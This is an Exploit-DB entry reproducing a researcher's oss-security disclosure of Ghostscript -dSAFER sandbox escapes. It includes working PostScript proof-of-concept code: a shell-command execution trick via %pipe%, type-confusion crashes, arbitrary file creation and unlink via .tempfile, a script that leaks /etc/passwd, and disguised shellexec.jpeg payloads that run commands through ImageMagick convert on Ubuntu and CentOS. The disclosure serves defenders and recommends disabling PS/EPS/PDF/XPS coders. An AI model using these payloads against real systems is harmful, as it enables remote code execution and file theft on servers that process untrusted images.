Exploit-DB #45243
Description: Ghostscript - Multiple Vulnerabilities
Type: local
Platform: linux
Date: 2018-08-22
Author: Google Security Research

Exploit:
http://seclists.org/oss-sec/2018/q3/142

These are critical and trivial remote code execution bugs in things like ImageMagick, Evince, GIMP, and most other PDF/PS tools.

----

Hello, this was discussed on the distros list, but it was suggested to move discussion to oss-security.

You might recall I posted a bunch of -dSAFER sandbox escapes in ghostscript a few years ago:

http://seclists.org/oss-sec/2016/q4/29

I found a few file disclosure, shell command execution, memory corruption and type confusion bugs. There was also one that was found exploited in the wild. There was also a similar widely exploited issue that could be exploited identically.

TL;DR: I *strongly* suggest that distributions start disabling PS, EPS, PDF and XPS coders in policy.xml by default.

$ convert input.jpg output.gif
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

I've found a few more surprising ways to reach ghostscript recently, so went back to look again and found a few more.

1. /invalidaccess checks stop working after a failed restore, so you can just execute shell commands if you handle the error. Exploitation is very trivial. Repro:

$ gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null 
GS>legal
GS>{ null restore } stopped { pop } if
GS>legal
GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
GS<1>showpage
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

(ImageMagick PoC at end of mail)

2. setcolor claims no operand checking is necessary, because it's hidden behind a pseudo-operator of the same name. That's true, but you can still call it indirectly via setpattern, so type checking is necessary. Repro:

$ gs -q -sDEVICE=ppmraw -dSAFER
GS><< /Whatever 16#[PII_REDACTED]41 >> setpattern
Segmentation fault

3. The LockDistillerParams boolean isn't type checked, so nice easy type confusion. Repro:

$ gs -q -sDEVICE=ppmraw -dSAFER
GS><< /LockDistillerParams 16#[PII_REDACTED] >> .setdistillerparams
Segmentation fault


4. .tempfile permissions don't seem to work, I don't know when they broke. You're not supposed to be able to open files outside of the patterns in the  PermitFileReading array, but that doesn't seem to work for me e.g.:
$ strace -fefile gs -sDEVICE=ppmraw -dSAFER
...
GS>(/proc/self/cwd/hello) (w) .tempfile
open("/proc/self/cwd/hello26E8LQ", O_RDWR|O_CREAT|O_EXCL, 0600) = 3
GS<2>dup
GS<3>(hello) writestring
GS<2>closefile

This means you can create a file in any directory (I don't think you can prevent the random suffix). Additionally, I have a trick to let you read and unlink any file you have permission to.

Here is how to unlink() any file:

$ strace -fefile gs -sDEVICE=ppmraw -dSAFER
...
GS>{ .bindnow } stopped {} if
GS>(/etc/passwd) [] .tempfile
GS<2>.quit
unlink("/etc/passwd")                   = -1 EACCES (Permission denied)
+++ exited with 0 +++

Reading is more complicated, because the best way I know how to do it is to interpret a file as as PostScript and catch the syntax errors, here is an example:

$ cat fileread.ps
/FileToSteal (/etc/passwd) def
errordict /undefinedfilename {
    FileToSteal % save the undefined name
} put
errordict /undefined {
    (STOLEN: ) print
    counttomark {
        ==only
    } repeat
    (\n) print
    FileToSteal
} put
errordict /invalidfileaccess {
    pop
} put
errordict /typecheck {
    pop
} put
FileToSteal (w) .tempfile
statusdict
begin
    1 1 .setpagesize
end
quit
$ gs -q -sDEVICE=ppmraw -dSAFER  fileread.ps
GPL Ghostscript 9.23:
STOLEN: root:x:0:0:root:
STOLEN: daemon:x:1:1:daemon:/bash/bin/root:(/etc/passwd)
STOLEN: bin:x:2:2:bin:/nologin/sbin/usr/sbin:/usr(/etc/passwd)
STOLEN: sys:x:3:3:sys:/nologin/sbin/usr/bin:(/etc/passwd)
STOLEN: sync:x:4:65534:sync:/nologin/sbin/usr/dev:(/etc/passwd)
STOLEN: games:x:5:60:games:/sync/bin/bin:(/etc/passwd)

This can be used to steal arbitrary files from webservers that use ImageMagick by encoding file contents into the image output, see my previous PoC here for an example. i.e. You can make convert malicious.jpg thumbnail.jpg produce an image with the contents of a file visible.

These bugs were found manually, I also wrote a fuzzer and I'm working on minimizing a very large number of testcases that I'm planning to report over the next few days. I will just file those issues upstream and not post each individual one here, you can monitor https://bugs.ghostscript.com/ if you want to.  I expect there to be several dozen unique bugs.

In the meantime, I really *strongly* suggest that distributions start disabling PS, EPS, PDF and XPS coders in policy.xml by default. I think this is the number one "unexpected ghostscript" vector, imho this should happen asap. IMHO, -dSAFER is a fragile security boundary at the moment, and executing untrusted postscript should be discouraged, at least by default.

Please note, ImageMagick sends some initialization commands to ghostscript that breaks my minimal PoC, but you can just undo their changes in PostScript.

This one works for me on the version in Ubuntu:
$ cat shellexec.jpeg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
$ convert shellexec.jpeg whatever.gif
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

For CentOS, try this:

$ cat shellexec.jpeg
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
$ convert shellexec.jpeg whatever.gif
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


##################